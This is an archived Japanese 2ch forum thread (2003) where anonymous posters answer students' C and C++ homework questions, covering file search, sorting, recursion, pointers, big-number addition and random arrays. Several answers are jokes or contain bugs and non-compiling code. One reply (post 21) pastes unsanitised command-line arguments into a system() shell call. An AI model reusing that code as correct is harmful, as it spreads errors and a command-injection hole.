1 :
デフォルトの名無しさん :
03/10/26 22:45
ここって、回答者はどれくらいいるのかな。 俺は12代目の途中くらいから参加したんだけど、常駐してるのは5、6人くらい? ちょっと寂しい。
常駐のひともいれば、気が向いたときにくるひともいるんでないか そういうオレは質問ついでに、簡単そうな質問に答えてるわけだが
>>1 なんつーか、何も言わず新スレを立ててくれたのはありがたい。
6 :
デフォルトの名無しさん :03/10/27 02:03
たまにはCマガのような心ときめくパズルみたいなの出してくれ
ム板に来た当初の頃はよく回答してたなぁ。 だんだん飽きてきたから最近は時たまだなぁ。 なんで常駐してまで、他人の宿題やってんの?
日常性活で人から褒められたり感謝されることがないので。 他に生きる喜びを見つけることができないんですよ。 数少ない社会との接点でもあるし。
質問者のレベルからしてありえないような回答をするのが楽しいから。
コードの書き方について実物をもとに批評しあえる数少ない場だから。
12 :
お願いしまつ :03/10/27 16:13
私が受講している「言語とプログラミング」の課題です。 コーディングではなくおもしろくありませんが、是非、回答願います。 課 題:1)ヘッダ・ファイルの意味について論述してください. 2)ソースコードは、プリプロセッサへの指示,コンパイル, リンクと、3段階に分けて実行コードに変換されますが、 その有用性について詳細に論述してください。 3)「変数の宣言」についてその必要性を論述してください. 4)scanf, printf関数にて利用される「制御文字列」の役割に ついて説明してください.
1:ヘッダファイルはもういりません。 2:プリプロセッサも使いません。 3:別に必要ない言語もたくさんあります。 4:scanfなんか(ry
1.Cがそれを読み込まないと駄目な仕様だから 2.Cがそれを読み込まないと駄目な仕様だから 3.Cがそれを読み込まないと駄目な仕様だから 4.scanfイラネ
scanf()はいらねぇが、sscanf()はとっといてくれ。
1.とあるファイルの先頭(header)にその名を連ねるファイル。 先生,役割を聞きたいの間違えちゃいますか〜?
1)ヘッダ・ファイルの意味について論述してください. ヘッジファンドの親戚 2)ソースコードは、プリプロセッサへの指示,コンパイル, リンクと、3段階に分けて実行コードに変換されますが、 その有用性について詳細に論述してください。 プリプロセッサへの指示…プリプリ コンパイル…のーみそこねこね リンク…の冒険 3)「変数の宣言」についてその必要性を論述してください. ポツダム宣言と同じ様な物でしょ。 4)scanf, printf関数にて利用される「制御文字列」の役割に ついて説明してください. 制御系っていったらファームウェアとかの事だよね。
18 :
デフォルトの名無しさん :03/10/27 22:00
課題提出用 ある特定の文字列を含んだ行を異なるファイルとして抽出するプログラム。 まず、抽出する文字列と検索対象ファイル名を入力する。また、結果出力用のファイル名を入力する。 そして、検索対象ファイルを読み込んで文字列が含まれるか否かのチェックを行い、 当該文字列が含まれていればそのデータを結果として出力する。 ガッコの課題です、おしえて下さい。
>>18 #!/bin/sh
fgrep "$1" "$2" > "$3"
20 :
デフォルトの名無しさん :03/10/28 00:59
>>19 わけわかんない事言っちゃうかもしれませんが・・・
LINUXですか? Cではできないでしょうかね?・・・
main(int argc, char**argv) { char a[256]; sprintf(a, "fgrep \"%s\" \"%s\" > \"%s\"", argv[1], argv[2], argv[3]); system(a); }
printf("検索する文字列書けや\n"); scanf("%s", word); printf("検索対象のファイル名入れろや\n"); scanf("%s", infilename); printf("結果出力のファイル名入れろや\n"); scanf("%s", outfilename); fin = fopen(infilename, "r"); if (!fin) { printf("検索対象ファイル'%s'が開けねーぞ\n", infilename); return 1; } fout = fopen(outfilename, "w"); if (!fout) { printf("出力ファイル'%s'が開けねーぞ\n", outfilename); return 1; } while (buffにfinから一行入力) { if (buffにwordが含まれている?) { foutにbuffを出力 } } fclose(fout); fclose(fin); return 0;
23 :
デフォルトの名無しさん :03/10/28 09:22
前スレから来ました。 任意のウインドウに文字列を送信するって どうやって実現しているのですか? 例えば、顔文字入力支援といったものがありますよね。 (実際には顔文字が入力したいわけではないのですが、 検索かけると、ほとんどが顔文字入力支援ツール) 前スレで、これらは、クリップボード経由で実現している との回答いただきました。 そこで、 推測ですが・・・ クリップボードへコピーした後に、CTRL+V 相当の 指示を対象ウインドウに送るのでしょうか? そうだとしたら、それってどうやるんでしょう? FindWindow() でウインドウハンドルを取得して、 メッセージを投げるのでしょうか? それとも、クリップボードからペーストする別の 機構が用意されているのでしょうか? クリップボードへコピーするところまではできるのですが、 その情報をどうやって他のウインドウへ転送しているのかが 分かりません。 教えて下さい。
スレ違い、と前スレでも言われてるようだが。 そんな素っ頓狂な宿題が出たと言うなら仕方ないが…
24bitビットマップカラー画像bmpをRGB各成分に分解するプログラム お願いします。
>>24 > 宿題が中心ですが、その他の問題なんかもOK。
>
何故分からないとすぐカラムん?(/_;)
(↑Column にかけてる)
つまんねぇか。
27 :
デフォルトの名無しさん :03/10/28 10:39
やはりメッセージで処理するようですね。 他で判明しましたので本件終了します。 ありがとうございました。
28 :
デフォルトの名無しさん :03/10/28 10:41
失礼、 27 == 23 です。
>>19-21 Windowsの場合はfgrepをfindに変更するだけで動きそうだね。
>25 まず・・・「BMP フォーマット ヘッダー」でぐぐれ。
配列変数のデータがヌル文字になるまで、反復しながら、 小文字なら大文字へ、大文字なら小文字へ変換し、数字ならそのままにするプログラム。 for文と「*」を用いて木を描くプログラム。 何方か、お願いします。
32 :
デフォルトの名無しさん :03/10/28 15:42
1、配列10個を整数で宣言する。 2、その10個の配列に1から20までの数値を適当にランダムに代入して初期化しておく。 3、配列を小さい順に並べ替える。 4、5番目の数値(中央値)を表示する。 これをお願いします。
>32 T int array[10]; U #include <stdlib.h> int count; for(count=0; count<10; count++){ array[count] = rand(); }
>31 #include <ctype.h> /*string <-これ配列ね */ main(){ int index; for(index=0; string[index] != '0' ;index++) { if(isdigit(string[index] )){ goto skip; } if(islower(string[index])){ string[index] = toupper(string[index]); goto skip; } if(isupper(string[index])){ string[index] = tolowper(string[index]); } skip: } } goto大好き!
木を100回書きます。 #include <stdio.h> main(){ cnt=0; for(cnt=0; cnt<10 * 10; cnt++){ printf("木\n"); } }
>>34 なんのためにcontinueがあると思ってんだよ。
あとラベルの後には文が必要。
>32 #include <stdlib.h> #define ARRAY_VOL 10 int array[ARRAY_VOL]; /*T配列宣言*/ int count; main(){ /*U初期化*/ for(count=0; count<ARRAY_MAX; count++){ array[count] = rand(); } /*Vソート(バブルソート)*/ for(;;){ int flag; flag = 0; for(count=0;count<ARRAY_MAX-1; count++ ){ int swap; if(array[index] < array[index+1]){ swap = array[index]; array[index] = array[index+1]; array[index+1] = swap; flag = 1; } } if(flag == 0 )break; } printf("%d\n", array[5]); /*W 中央の表示*/ }
>36 おお! そうだった。そんなもんもあったね。 最後のラベルはskip:;に訂正
素早いご回答、ありがとうございました。
35はなんか違うと思う。
main(){のすぐ下がな
>>40 35はやさしすぎ。
全投げすっからだろうよ。
少しは自分で考えねぇと脳みそ腐るぞ。
>>42 そういう話じゃないと思われ。
それと、このスレを誤解してないか?
44 :
デフォルトの名無しさん :03/10/28 17:01
age
>>43 そうだったな、悪かった。
しかし、43よ
35 が真剣に答えてると、藻前は思ったん?
とても思えないw
46 :
デフォルトの名無しさん :03/10/28 18:17
47 :
デフォルトの名無しさん :03/10/28 19:04
以下2問のC++の問題がどうしてもわかりません! お馬鹿な私に教えてください!お願いします。 2つの int型オブジェクトx,yと、1つのint型へのポインタptrを用いて、 次の代入演算を行え。x,y 値の初期値は適当に与えること。 @x,yのアドレス表示 Ax値をptrを使って表示 Bポインタを使ってy値を300に置き換えyを表示する。 【実行結果例】 ------------------- xのアドレス:006AFDF4 yのアドレス:006AFDF0 x値:100 y値:300 --------------------
48 :
デフォルトの名無しさん :03/10/28 19:04
2問目 /* 演習6_5 配列aの先頭から順に、0,1,2,3,・・と添え字と同じ値を 代入する関数 void fill_num(int* x,int n)を作成せよ。 【実行結果例】 ------------------- a[0]=0 a[1]=1 a[2]=2 a[3]=3 a[4]=4 a[5]=5 a[6]=6 a[7]=7 a[8]=8 a[9]=9 Press any key to continue --------------------
49 :
デフォルトの名無しさん :03/10/28 19:11
>>47 それぐらいなら短期間習っただけでできるぞよ
1問目
#include<iostream>
using namespace std;
int main()
{
int x=0, y=1;
int *ptr;
cout<<&x<<"\n";
cout<<&y<<"\n";
ptr = &x;
cout<<*ptr<<"\n";
ptr = &y;
*ptr = 300;
cout<<*ptr;
}
50 :
デフォルトの名無しさん :03/10/28 20:09
次のsheep関数を再帰を用いて書き直しなさい。 #include <stdio.h> void sheep(int main) { int i; for (i = 1; i <= n; i++) printf("ひつじが%d匹\n", n); } int main(void) { sheep(10); return 0; } 授業サボっちゃってわかりません。 教えてください。
>>50 動かない関数を書き直せといわれても無理です。
// ポインタを渡されて配列と言われても困るがオフセット値を代入してみる関数 // nをどう解釈するかヒントがないので0〜nまで代入すると解釈 void fill_num(int* x, int n) { for (int ic = 0; ic <= n; ic++) { x[ic] = ic; } // 呼び出し側はしらね
53 :
デフォルトの名無しさん :03/10/28 20:23
>>51 回答ありがとうございます。
無理ですか・・・
わかりました。
>>50 void sheep(int i)
{
if(i == 0) return;
printf("ひつじが%d匹\n", n);
sheep(i - 1);
}
>>54 おおいおいおいおい。
羊の屠殺場かよ(w
ごめん。上はいい加減だった。 void sheep(int i) { if(i == 0) return; sheep(i - 1); printf("ひつじが%d匹\n", i); }
58 :
デフォルトの名無しさん :03/10/28 22:20
数字を入力していってそのつど一番多く入力された数値を表示するプログラムを作ってくださいな。
59 :
デフォルトの名無しさん :03/10/28 22:27
#include <stadio.h> void main(){ int i scanf("入力しろ(゚Д゚)ゴルァ ",&i); printf("%(i+1)\n",i); } Cなんて5年前にちょろっとしただけだから間違ってるかも
>>59 すごいな。「void main」も間違いに入れると、6行のうち5行間違ってる。
62 :
デフォルトの名無しさん :03/10/28 22:59
正解は } だけか(w
63 :
デフォルトの名無しさん :03/10/28 23:26
ところで、void main と int main ってどう意味が違うの?
>>63 Cプログラムを呼び出したもの(シェルスクリプトとか)に返事をするかどうか。
65 :
デフォルトの名無しさん :03/10/28 23:32
戻り値あるなし
返事を明示するか 不定にするか voidにしても必ず返事はしないとならん
>>63 voidmainはOSに何も返さない。
これはANSICでは許されない。
mainのプロトタイプは絶対に
int main(void)
ちなみにvoidを省略するのもだめ
引数なしの場合は、cとc++で規定が違う。
不定とか未定義とかあんま詳しくないけど、void mainは間違いなんだよね。結構有名。
void mainとか書いてる本はやめたほうがいいよ。
ansi cわかってないから、未定義とかのコードをかきかねない。
ちなみにc++のvoid func()はvoid func(void)と同義。 つまり引数をとらない関数って意味。 cのvoid func()はvoid func(void)と違い、引数をチェックしない関数。 引数をチェックしたくない場合は、c++ではvoid func(...)と書く。 微妙に違うわけ。 まあたいていのコンパイラは通るだろうけど、厳密にはね。
たびたびすいませんが、
>>22 なんですが
while (buffにfinから一行入力) {
if (buffにwordが含まれている?) {
foutにbuffを出力
}
この部分を教えてもらえませんか?
今までコピペで通過してきたので、個人ごとの課題でタジタジです;;
>>67 63じゃないけどためになった
ありがとう
>>67 そういえばgccのいつからだか、void mainでコンパイルすると
ワーニングは出るようになったな。
まちがってかもしれんから、補足キボン
>>69 そこまで教えてもらって分からないということは、
本当に何も分かってないんだから、不可でいいだろ。
今のC/C++の規格だとvoid mainも標準ではないが禁止されているわけでも なかったはずだが。
>>58 #include <stdio.h>
#include <malloc.h>
#define N 100
struct element { int v; int count; struct element *next; };
struct element *hash[N], *max_e;
struct element *hash_find(int v) {
int hash_value = v % N; struct element *e;
for(e = hash[hash_value]; e; e = e->next) { if(e->v == v) return e; }
return NULL;
}
void hash_enter(int v) {
int hash_value = v % N; struct element *e;
e = hash_find(v);
if(!e) {
e = calloc(1, sizeof(struct element));
e->v = v; e->count = 1;
e->next = hash[hash_value];
hash[hash_value] = e;
} else {
e->count++;
}
if(!max_e || e->count >= max_e->count) max_e = e;
}
int main(int argc, char **argv) {
int v;
while(scanf("%d", &v) == 1) {
hash_enter(v);
printf("frequent value = %d count = %d\n", max_e->v, max_e->count);
}
return 0;
}
>>72 int main(void) または int main(int, char **)
>>74 そうなんですか。最近そういう勉強してなかったんで久々にやってみようかな。
>>76 おっしゃる通りです。お恥ずかしい・・・。
>>68 それはプロトタイプだけじゃなかったっけ?
>>74 「今のC/C++の規格」というのが何を指しているのか分からないが、
ISO/IEC 9899 では undefined behavior、ISO/IEC 14882 では
一応 implementation-defined ということになっているな。
現在学校で多倍長計算をやっているのですが、出力がうまくいきません・・・。 というか全体的にどういじればよくなるかもわかっていない状態なのですが・・・。 アドバイスをお願いします。 #include <stdio.h> #include <string.h> int main(void) { int i; char kazu1[41]; char kazu2[41]; char add[41]; printf("40桁までの2数の和を求めます。\n"); printf("1つ目の数を入力してください。\n"); scanf("%s",kazu1); memset(kazu1, 0, 41); printf("2つ目の数を入力してください。\n"); scanf("%s",kazu2); memset(kazu2, 0, 41); memset(add, 0 41); for (i = 0; i < 40; i++) { add[i] += kazu1[i] + kazu2[i]; if (add[i] >= 10) { add[i+1]++; add[i] -= 10; } } printf("\n"); for (i = 0; i < 40; i++) { printf("%d",add[i]); } }
>>81 実はまだ構造体やポインタを習っていないのです。
いろいろと調べてみたのですが使わないで書いているものが見つからなくて・・・。
>>80 なぜ scanf のあとで memset をしているのだ?
それと、普通足し算てのは位の小さい方から足していくもんだ。
>>80 直すべきところがたくさんあるんだが、
・scanf()とmemset()を呼ぶ順番が逆。
・数字を左の桁から右の桁に入力させているのに、計算も左の桁から右の桁にしている。
・文字型に入っている数字の文字を計算するときは、あらかじめ0x30引く。
add[i] += (kazu1[i]-0x30) + (kazu2[i]-0x30);
>>83 えー、配列名は自分で勝手に作りました。全般的に勉強不足がたたっています・・・。
>>84 そうだったのですか・・・memsetを使うのが初めてだったものでまったく知りませんでした。
>>85 文字型に入っている数字の扱いがわからなかったもので・・・ありがとうございます。
手直ししてみます。
for (i = 41; i > 0; i--) { add[i] += (kazu1[i]-0x30) + (kazu2[i]-0x30); if (add[i] >= 10) { add[i-1]++; add[i] -= 10; } } 計算部はこのような感じでいいのでしょうか? 右から左への計算がこれでいいのか・・・(´・ω・`)
よくないね
>>87 ポインタと構造体を習ってないのでいまいち理解できません・・・。
やはり使う方が一般的のようですね。
>>89 やはり駄目ですか・・・もう一度練り直してみます。
>>90 足し算をするなら下位の桁から
要するに文字列の最後から。
二つの数が同じ桁ならば計算自体はうまくいくのですが、 桁が違うとずれてしまいます。 配列に入力するときのこのずれを計算時に直すにはどうしたらいいのでしょうか? 入力時に桁数を合わせるために0を入力してもらうのもまどろっこしいですよね・・・。
最終位置をend1,end2と置き、 add[i]=(kazu1[end1-i]-0x30)+(kazu2[end2-i]-0x30); のようにした後でaddを反転させるか逆順に出力すればok
>>92 scanf()で、取得した文字列をそのまま使わずに、
いったん別の配列に入れてからkazu1をセットしなおす。
char s[41];
int kazu1[40];
scanf("%s",s);
for(i=0;i<40i++){
j = i+strlen(s)-40;
if(j>=0){
kazu1[i] = s[j] - 0x30
}
else{
kazu1[i] = 0
}
}
なんとか出来る見込みができました。皆さんいろいろありがとうございました。
書き込みテスト 士
98 :
デフォルトの名無しさん :03/10/29 10:36
Cをコンパイルしたり実行したりできる おすすめのフリーソフトって何かありませんか? できればエラーなどは日本語表示してくれるので
100 :
デフォルトの名無しさん :03/10/29 11:17
多倍長演算ってオレも去年の学校の課題で出たような・・・。 そしてここらへんで質問したような・・・・。 さてはお前ら某大学の某学部だな!
営業マンですがなにか? さて、パチンコでもいくか。
( ´,_ゝ`)プッ 大学で多倍長演算ですか
おぉ! おれも某大学の某学部だよ。
105 :
デフォルトの名無しさん :03/10/29 17:15
次の問題まだ?
106 :
デフォルトの名無しさん :03/10/29 17:22
問題4-2 文字列の長さを測って返す関数string_lengthをつくれ。 誰かお願いしますぅ
size_t string_length(char const *s) { return strlen(s); }
108 :
デフォルトの名無しさん :03/10/29 17:30
>>56 ありがとうございます。
早速やってみます
さすがにまずいと思うが。
110 :
デフォルトの名無しさん :03/10/29 17:33
size_t string_length(const char* str) { return *str ? string_length(str+1) +1:0; }
ボーランドコンパイラがただで配布ってのは95革命の次にびっくりした
113 :
デフォルトの名無しさん :03/10/29 20:18
大学の宿題で5問出題されたのですが3問はなんとかとけたのですが2問どうしても わかりません。。 先輩方教えてくださいm(_ _)m (問4) 2つの int型オブジェクトx,yと、1つのint型へのポインタptrを用いて、 次の代入演算を行え。x,y 値の初期値は適当に与えること。 @x,yのアドレス表示 Ax値をptrを使って表示 Bポインタを使ってy値を300に置き換えyを表示する。 【実行結果例】 ------------------- xのアドレス:006AFDF4 yのアドレス:006AFDF0 x値:100 y値:300 --------------------
114 :
デフォルトの名無しさん :03/10/29 20:19
(問5) 配列aの先頭から順に、0,1,2,3,・・と添え字と同じ値を 代入する関数 void fill_num(int* x,int n)を作成せよ。 【実行結果例】 ------------------- a[0]=0 a[1]=1 a[2]=2 a[3]=3 a[4]=4 a[5]=5 a[6]=6 a[7]=7 a[8]=8 a[9]=9 Press any key to continue --------------------
問4 ポインタに直接数値を代入する 問5 for()
その学部ボッタクリだな
ほんとバカ大ですf(^ー^; (僕もバカなので言えませんが。。 授業とかも参考書みて勝手にやれ状態なもんで、 ほとんど独学みたいな感じです。。 問4はなんとか理解できて解けたのですがやっぱ問5が解けません。。
>>118 著作:高橋麻奈
タイトル:やさしいC
これ加絵
#define FUNCTION #define BEGIN { #define END } #define INT int #define MAIN main #define ADDRESS_OF & #define WRITE_CONSOLE printf #define HEX_FORMAT "%08X" #define DEC_FORMAT "%d" #define CRLF "\n" #define POINTER * #define MEM_READ * #define MEM_WRITE(x, y) (*x = y) #define EXIT_SUCCESS 0 #include <stdio.h> FUNCTION INT MAIN() BEGIN INT x = 100; INT y = 0; INT POINTER ptr; WRITE_CONSOLE("x のアドレス:" HEX_FORMAT CRLF, ADDRESS_OF(x)); WRITE_CONSOLE("y のアドレス:" HEX_FORMAT CRLF, ADDRESS_OF(y)); ptr = ADDRESS_OF(x); WRITE_CONSOLE("x値:" DEC_FORMAT CRLF, MEM_READ(ptr)); ptr = ADDRESS_OF(y); MEM_WRITE(ptr, 300); WRITE_CONSOLE("y値" DEC_FORMAT CRLF, MEM_READ(ptr)); return EXIT_SUCCESS; END
高橋麻奈でググッたら、本人のサイトみたいのが見つかった。 1971年生まれだから30前半、私にとってはちょうど良いくらいだ。 これは期待できそうだ。
122 :
デフォルトの名無しさん :03/10/29 21:37
Q.HTMLふぁいるから1024バイトづつ読み込み、それを1行づつ出力するプログラムをつくれ。 ただし、ファイル入力はread()を使用しれ。 こんなん↓作ったけど、実行したらセグメントえらーになる。なんでででつか? だれか御教授おねがいします。 int main(){ int fd; char buf[5000]; char foo[1024]; char restBuf[1024]; char *bufPtr; int read_size; fd = open(argv[1], O_RDONLY, 0); read_size = read(fd, buf, 1024);
なぜHTMLファイル限定・・・
124 :
デフォルトの名無しさん :03/10/29 21:40
while (1) { if (read_size > 0) { while (1) { if ((bufPtr = strchr(buf, '\n')) == NULL) break; *bufPtr = '\0'; ++bufPtr; strcpy(restBuf, bufPtr); strcat(buf, "\n"); printf("%s", buf); strcpy(buf, restBuf); } read_size = read(fd, foo, 1024); strcat(buf, foo); } else { break; } } }
>>123 実際にはソケットでHTMLファイルを一定バイト読み込んで、1行づつ処理していくのよ。
bufの中でしょ
とりあえずあってるのかわかりませんが 自力で書いてみました #include <iostream> using namespace std; void fill_num(int* x,int n) { for(int i=0;i<n;i++) *(x+i) = i; } mainの書き方、この関数への値(ポインタ)の 渡し方がわからないのです。。。
大学生なんだから、人に聞きっぱなしではなくてgoogleで調べるとか、教授に質問するとか、 それなりの事はできるでしょ。 少しは大人になりなさい。
131 :
デフォルトの名無しさん :03/10/29 22:19
シメジ
>>114 #include <stdio.h>
#define ARRAY_MAX 10
void fill_num(int* x,int n);
int a[ARRAY_MAX];
int main(){
int i;
fill_num(a, ARRAY_MAX);
for(i=0; i<ARRAY_MAX; i++){
printf("a[%d]=%d\n", i, a[i]);
}
return 0;
}
void fill_num(int* x,int n){
int i;
for(i=0; i<n; i++){
x[i] = i;
}
}
寝てるときにしかはたらかないよ。 だから、ねるまえに宿題だしてね。
134 :
デフォルトの名無しさん :03/10/29 23:27
オーロラが・・・
135 :
デフォルトの名無しさん :03/10/29 23:41
磁気あらし?
>113 = *>47-48
137 :
デフォルトの名無しさん :03/10/30 11:26
次いってみよう〜
>>135 そういや、黒点がデカいとかで影響あるとか言ってたな・・・
>>138 できれば解決したプログラムをのせて欲しいな。参考のために。
>>122 お前ら,fdopen や fstream はご存知ですか?
HTTPのようなテキストストリームなら,こっちの方が楽。
>>141 元プログラムの問題はそこだけじゃないので。
サポート情報ページ Borland C++ Compiler 5.5 を使う際の一般的な質問と回答をご用意しました(※協力: 『Cマガジン』編集部)。
146 :
デフォルトの名無しさん :03/10/31 08:34
テキストファイルを読み取り、そのファイルの中のn個の数字の平均を求め、 その平均値から、メッセージを出すプログラムをお願いします。 実行結果がこのようなものです。 *************************************** 読み込みファイル名:a2.txt 出力ファイル名:a3.txt 1.253 1.256 1.263 1.253 1.53 9.564 平均値:2.6865 平均値が0から3の間にあるので評定は「5」である。 終了しますか?(Y/N):N ファイル名を入力してください:b2.txt ******************************************** という、繰り返すプログラムです。 みなさんお願いします。
>>146 >133
>だから、ねるまえに宿題だしてね。
ていったのに…
コビトはもう,オネムでしゅ…
C言語のソースファイルを読み込んで main関数が何行目から始まるか表示するプログラムを C言語で作りたいのですが、 どうアルゴリズムを構築したらよいか いまいち分かりません。 まずfgetsで一行単位で配列に文字列を格納して strstrでmainなどの文字列を探すことを 考えたのですが、これだと一度に読み込める 文字の数が配列の大きさによって制限されてしまうので、 あまり好ましくありません。 そこで、何とかfgetcなどを用いて、 できるだけ、汎用性のあるよう作りたいのですが、 どうしたらよいでしょうか。 もし、ご教授いただければ幸いです。
コメントや文字列、マクロの扱いはどーすんだろー、とか
説明が足りなかったようでどうも申し訳ありません。 コメントや空白や改行だけの行も普通に一行と数えて下さい。 また、#defineで予約語や記号、関数名などを 他の文字に置き換えることは無いとして考えます。 実は、今、一番悩んでいるのはどうやったら これはmain関数だということを認識させることができるか、 ということなので、とりあえず行の数え方には 深くこだわらなくても大丈夫です。
struct main { int data; }; struct foo { int main; }; struct bar { int (*main)(int ac, char *av[]); }; int main(int ac, char *av[]); /* int main(int ac, char *av[]) { int (*main)(int ac, char *av[]); } */ int main ( int ac , char * av [ ] ) { int (*main)(int ac, char *av[]); }
#include <stdio.h> int main() { char buf[256]; char filepath[256]; char c; while(1){ printf("ファイルパス入力:"); fgets(buf,256,stdin); sscanf(buf,"%s",filepath); { FILE* fp; double temp=0,d; int cnt=0; if((fp=fopen(filepath,"r"))==NULL){ cout<<"open err"<<endl; return 0; }
while(fscanf(fp,"%lf",&d)==1){ temp += d; ++cnt; } temp /= cnt; if(temp<=0) puts("設定値4"); else if(0<temp && temp<3) puts("設定値5"); else puts("設定値6");
fclose(fp); } printf("終了しますか?Y/N"); scanf("%1c",&c);scanf("%*c"); if(c=='Y' || c=='y') break; } return 0; }
156 :
デフォルトの名無しさん :03/10/31 15:46
ヘッダは<iostream.h>じゃないといくなくない?
>>156 それは古いタイプの宣言じゃない?
今は<iostream>のはず。
互換性のために<iostream.h>もまだ使えるけどね。
ああーなんか脊髄反射レスだからピント外れの回答しちゃったかも。 流して栗
>148 単純にmainの文字列をさがすだけなんでしょ? でないと >151 みたいな場合、構文解析しなくちゃなんなくて それだけでスレッド消費しちゃうよ。 mainの文字列を探すだけのを前提として #include <string.h> のstrtokを使うべし。
>157 >98のコンパイラだとエラーでるYO ただそれだけ・・・。
ごめん >99のコンパイラだった
どういうエラーよ
>>156 >161
vc7.1でもエラー出るで〜
>162 未定義の関数 エラーやでー
>>162 は、知ったかぶりの人をばかにする人です。(-д-メ)
166 :
デフォルトの名無しさん :03/10/31 16:28
1から100未満の乱数を100個配列に格納して表示したいのですが、 ↓では、全て同じ数字になってしまいます。 どうすればいいの? #include<stdio.h> #include<stdlib.h> #include<time.h> int main(void){ int i,j; char str[100]; for(i=0;i<100;i++){ srand((unsigned)time(NULL)); j=rand()%100; printf("%d_",j); } return(0); }
>165 それはちがうでー まだ規格が浸透してないんやでー
168 :
デフォルトの名無しさん :03/10/31 16:30
↑配列に格納はなしバージョンです。char str[100];の部分もなしで。
>166 srand((unsigned)time(NULL)); をfor文のカッコからだすんやでー。
170 :
デフォルトの名無しさん :03/10/31 16:31
1から100未満の乱数を100個表示したいのですが、 ↓では、全て同じ数字になってしまいます。 どうすればいいの? #include<stdio.h> #include<stdlib.h> #include<time.h> int main(void){ int i,j; for(i=0;i<100;i++){ srand((unsigned)time(NULL)); j=rand()%100; printf("%d_",j); } return(0); }
171 :
デフォルトの名無しさん :03/10/31 16:32
>>165 知ったかぶりも、ばかにしているようにも見えないけど、
何に腹を立ててるの?
きにせんとー ここは2chやでー
へーちょ
大阪に(・∀・)カエレ!!
176 :
デフォルトの名無しさん :03/10/31 17:06
1から100未満の乱数を100個配列に格納して表示したいのですが、 #include<stdio.h> #include<stdlib.h> #include<time.h> int main(void){ char str[100]; int i,j; srand((unsigned)time(NULL)); for(i=0;i<100;i++){ j=rand()%100; str[i]=j; }printf("%c",str); return(0); }
177 :
デフォルトの名無しさん :03/10/31 17:18
1から100未満の乱数を100個配列に格納して表示したいのですが,どうすればいいの? #include<stdio.h> #include<stdlib.h> #include<time.h> int main(void){ int i,j,str[100]; srand((unsigned)time(NULL)); for(i=0;i<100;i++){ j=rand()%100; str[i]=j; }printf("%d",str[i]); return(0); }
178 :
デフォルトの名無しさん :03/10/31 17:21
すみません。できました。
179 :
デフォルトの名無しさん :03/10/31 17:44
問3. 0 以上100 未満までの整数をランダムに100 個生成して配列に格納せよ。一旦全て の整数を配列に格納した後、この配列の要素を先頭から調べて、偶数であればeven という配列に、奇数であればodd という配列に格納し、それぞれの配列を出力せよ。 例: 2,55,4,8,11,24,...という数が配列に格納されている場合、odd は55,11,...となり、 even は2,4,8,24,..となる
180 :
デフォルトの名無しさん :03/10/31 18:22
配列に格納してから配列を出力ってfor文でまわして格納してから もう一度for文でまわして出力するの?
そう
182 :
デフォルトの名無しさん :03/10/31 19:00
>>179 は普通に
>>180 のようにすればできるのですが、出力時に
evenは,12,16,18,50
oddは,17,15,29,67,13
などと表示されます。
は,
,←がいらないんですけど
printf("evenは");
for(i=0;i<b;i++){
printf(",%d",even[i]);
}printf("\noddは");
for(i=0;i<a;i++){
printf(",%d",odd[i]);
}
どうやればいいのですか?
183 :
デフォルトの名無しさん :03/10/31 19:07
>>182 一文字目の”,”がいらないのです
つまり
evenは16,18,26,4
oddは3,9,1,7,11
と表示させたいのです
184 :
デフォルトの名無しさん :03/10/31 20:00
画像処理の問題で カラー画像の輝度値の比によりコントラストストレッチングするプログラムを作成せよ。 カラー画像のデータは unsigned char(1byte)型で、img[j][3*i]=R img[j][3*i+1] img[j][3*i+2]に数値としてはいっているものとする。 で、アルゴリズムわかる人いまつか? ちなみに自分の作ったプログラムだとノイズが入ってしまいまつ。一応例外処理として 常に、数式を使うときはint型の変数に代入しておき、負の値、255より大きい値は、 0および255っておいてるんだけど、うまくいかない、、、もうだめぽ
>>183 printf("evenは");
for(i=0;i<b;i++){
if(i!=0)
printf(",");
printf("%d",even[i]);
}printf("\noddは");
for(i=0;i<a;i++){
printf(",%d",odd[i]);
}
186 :
デフォルトの名無しさん :03/10/31 20:06
おっと、これじゃわからないでつね。すいません。 とりあえずimg[j][3*i+1]=G img[j][3*i]=Bの濃度が入ってます 輝度値Yは Y=0.299*R + 0.587*G + 0.114*B
>>183 訂正
printf("evenは");
for(i=0;i<b;i++){
if(i!=0)
printf(",");
printf("%d",even[i]);
}printf("\noddは");
for(i=0;i<a;i++){
if(i!=0)
printf(",");
printf("%d",odd[i]);
}
モチツケ、俺・・
188 :
デフォルトの名無しさん :03/10/31 20:32
>184 線形濃度変換でいいの?
あ、ごめん。 >186をやれってことだね。 夜になったらコビトがやるよ。きっと
>184 int でなくてfloatでない? 小数点以下を扱うにはfloatかdouble、またはシフト演算がひつようよ。
191 :
デフォルトの名無しさん :03/10/31 21:10
>>187 なるほど!サンクス!!
そうやれば可能ですね。
頭が固かった。
192 :
デフォルトの名無しさん :03/10/31 21:20
問3. 0 以上100 未満までの整数をランダムに100 個生成して配列に格納せよ。一旦全て の整数を配列に格納した後、この配列の要素を先頭から調べて、偶数であればeven という配列に、奇数であればodd という配列に格納し、それぞれの配列を出力せよ。 例: 2,55,4,8,11,24,...という数が配列に格納されている場合、odd は55,11,...となり、 even は2,4,8,24,..となる ちなみにこの問題を出力部分のみをメイン関数で行い、 他は別に関数を作って行う場合はどうなるんですか?
>>177 このソース中のtimeってどういう風に解釈されるの?
195 :
デフォルトの名無しさん :03/10/31 21:52
1から100までの乱数を発生させる。1から10までの間の数が1000個発生したらとめる。 止まるまでにいくつ乱数を発生させたかを表示せよ。 という問題で、先生はヒントとして #include <stdio.h> #include <stdlib.h> int main() { int n, r; while(1){ r = rand()%100 + 1; n++; までを教えてくれたのですが、以降が全く解りません。 残りの部分をお願いします。
196 :
デフォルトの名無しさん :03/10/31 21:57
毎回rが1から10までの間の数であるか確認 で、カウントしていく 1000いったらループから出す その間、1〜10までの数でなくても全体のループの回数も別にカウントする。
#include <stdio.h> #include <stdlib.h> #include <time.h> void divide(int a[], int even[], int *even_len, int odd[], int *odd_len) { int i; for (i = 0; i < 100; i++) if (a[i]%2 == 0) even[(*even_len)++] = a[i]; else odd[(*odd_len)++] = a[i]; } void fill_random_number(int a[]) { int i; srand(time(NULL)); for (i = 0; i < 100; i++) a[i] = rand()%100; }
int main() { int a[100], even[100], odd[100]; int i, even_len = 0, odd_len = 0; fill_random_number(a); divide(a, even, &even_len, odd, &odd_len); for (i = 0; i < even_len; i++) printf("%d%s", even[i], (i == even_len-1) ? "\n" : ","); for (i = 0; i < odd_len; i++) printf("%d%s", odd[i], (i == odd_len-1) ? "\n" : ","); return 0; }
>>196 ありがとうございます。
